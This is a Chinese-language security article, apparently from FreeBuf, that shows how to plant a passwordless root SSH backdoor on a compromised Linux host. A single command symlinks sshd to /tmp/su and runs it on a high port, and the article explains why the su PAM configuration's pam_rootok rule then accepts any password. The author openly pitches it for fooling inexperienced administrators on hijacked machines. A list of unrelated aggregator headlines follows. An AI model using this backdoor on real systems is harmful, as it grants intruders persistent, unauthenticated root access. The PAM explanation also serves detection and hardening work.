當前位置:
首頁 > 新聞 > 利用系統特性偽裝成一個免密登陸後門

利用系統特性偽裝成一個免密登陸後門

*本文原創作者:knpewg85942,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


0x00. 引言

這是一個使用到了一點小伎倆的後門,如果滲透進入一個系統並拿到root許可權的shell,對方防火牆沒有限制,則可以通過本文的方法運行一個root可登陸且不需要許可權的ssh後門。 這可以用來欺騙一些沒有安全意識和經驗的系統管理員可以在肉雞上執行以下命令,運行這個ssh後門



ln -sf /usr/sbin/sshd /tmp/su;nohup /tmp/su -oPort=2022 &


然後打開一個新的登陸會話測試一下:



賬戶root, 密碼隨便填寫



登陸成功


0x01. 為什麼可以免密登陸


上面的後門運行的進程名是su,當用戶登錄的時候,會去/etc/pam.d/下尋找su文件(其實這裡不一定要是su文件,只要/etc/pam.d 目錄下存在和後門的進程名同名的文件,則系統在認證的時候就會去讀取這個文件內容進行認證), 內容參考如下(kali2 系統)


#

# The PAM configuration file for the Shadow `su" service

#

# This allows root to su without passwords (normal operation)

auth sufficient pam_rootok.so

# Uncomment this to force users to be a member of group root

# before they can use `su". You can also add "group=foo"

# to the end of this line if you want to use a group other

# than the default "root" (but this may have side effect of

# denying "root" user, unless she"s a member of "foo" or explicitly

# permitted earlier by e.g. "sufficient pam_rootok.so").

# (Replaces the `SU_WHEEL_ONLY" option from login.defs)

# auth required pam_wheel.so

# Uncomment this if you want wheel members to be able to

# su without a password.

# auth sufficient pam_wheel.so trust

# Uncomment this if you want members of a specific group to not

# be allowed to use su at all.

# auth required pam_wheel.so deny group=nosu

# Uncomment and edit /etc/security/time.conf if you need to set

# time restrainst on su usage.

# (Replaces the `PORTTIME_CHECKS_ENAB" option from login.defs

# as well as /etc/porttime)

# account requisite pam_time.so

# This module parses environment configuration file(s)

# and also allows you to use an extended config

# file /etc/security/pam_env.conf.

#

# parsing /etc/environment needs "readenv=1"

session required pam_env.so readenv=1

# locale variables are also kept into /etc/default/locale in etch

# reading this file *in addition to /etc/environment* does not hurt

session required pam_env.so readenv=1 envfile=/etc/default/locale

# Defines the MAIL environment variable

# However, userdel also needs MAIL_DIR and MAIL_FILE variables

# in /etc/login.defs to make sure that removing a user

# also removes the user"s mail spool file.

# See comments in /etc/login.defs

#

# "nopen" stands to avoid reporting new mail when su"ing to another user

session optional pam_mail.so nopen

# Sets up user limits according to /etc/security/limits.conf

# (Replaces the use of /etc/limits in old login)

session required pam_limits.so

# The standard Unix authentication modules, used with

# NIS (man nsswitch) as well as normal /etc/passwd and

# /etc/shadow entries.

@include common-auth

@include common-account

@include common-session

重點是這行:
auth sufficient pam_rootok.so

sufficient 表示只要這行滿足,直接返回登錄成功

好,我們再來看一下 Linux man 手冊上關於 pam_rootok.so 的介紹



這個認證模塊是認證你的UID是否為0,然後return pam的結果(0就ok,其他就不OK)。


再去看一下pam_rootok.so的源碼,發現


關鍵點在於紅框部分,模塊會調用getuid(),如果get的uid為0,它會檢查selinux的root是否為0或是否在啟用selinux下為0,是0,則返回認證成功,否則認證失敗。


那麼getuid()是從哪裡來的,查了一下:



也就是根據後門運行的進程userid來的, 只要後門進程是以userid 為0的用戶運行,那麼什麼用戶都可以免密登陸


換個普通用戶試試





免密登錄成功


*本文原創作者:knpewg85942,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載






喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

OOB(out of band)分析系列之DNS滲漏
Petya勒索蠕蟲完全分析報告
深入分析一波,你們說的雲安全到底是什麼鬼?
Wolf CMS 新舊兩個版本中的文件上傳漏洞分析

TAG:FreeBuf |

您可能感興趣

有人把特斯拉改裝成了靈車!
木門安裝的沒有問題,可門鎖卻裝成這樣,業主相當惱火
頭一次見把陽台裝成敞開式,比裝推拉門好用多了,回家也學著裝
胡塞武裝成功奇襲沙特邊防哨所 先進單兵武器又成戰利品
尷尬!法特種兵為進入敘利亞偽裝成「良民」,卻被敘軍「一窩端」
能不能把軍用運輸機改裝成戰略轟炸機?
小伙把GTR改裝成一台神車 直接讓法拉利吃車灰!
裝修窗帘別做羅馬杆,都怪媳婦裝成這樣,引得小區鄰居擠爆門參觀
這是空軍大量裝備的第一種中型運輸機,先後改裝成了多種型號
凱特王妃參加王室活動,魅力著裝成為春季的必備單品
兩節水管改裝成個家
分享一種挺好玩的事——雪靴改裝成直排輪
小戶型裝成中式一樣有氣勢!
如何把SVD改裝成戰鬥步槍
品牌折扣童裝店服裝成列設施
戰場上的皮卡神車海拉克斯,改裝成移動郵局
因被吐槽造型醜陋 加拿大信號塔偽裝成了一棵樹
把家裝成新中式風格也是種不錯的選擇
小戶型大利用,88㎡硬是裝成了三室兩廳,外加一個衣帽間!
沒特色的運動套裝成了禦寒神器 溫暖又時髦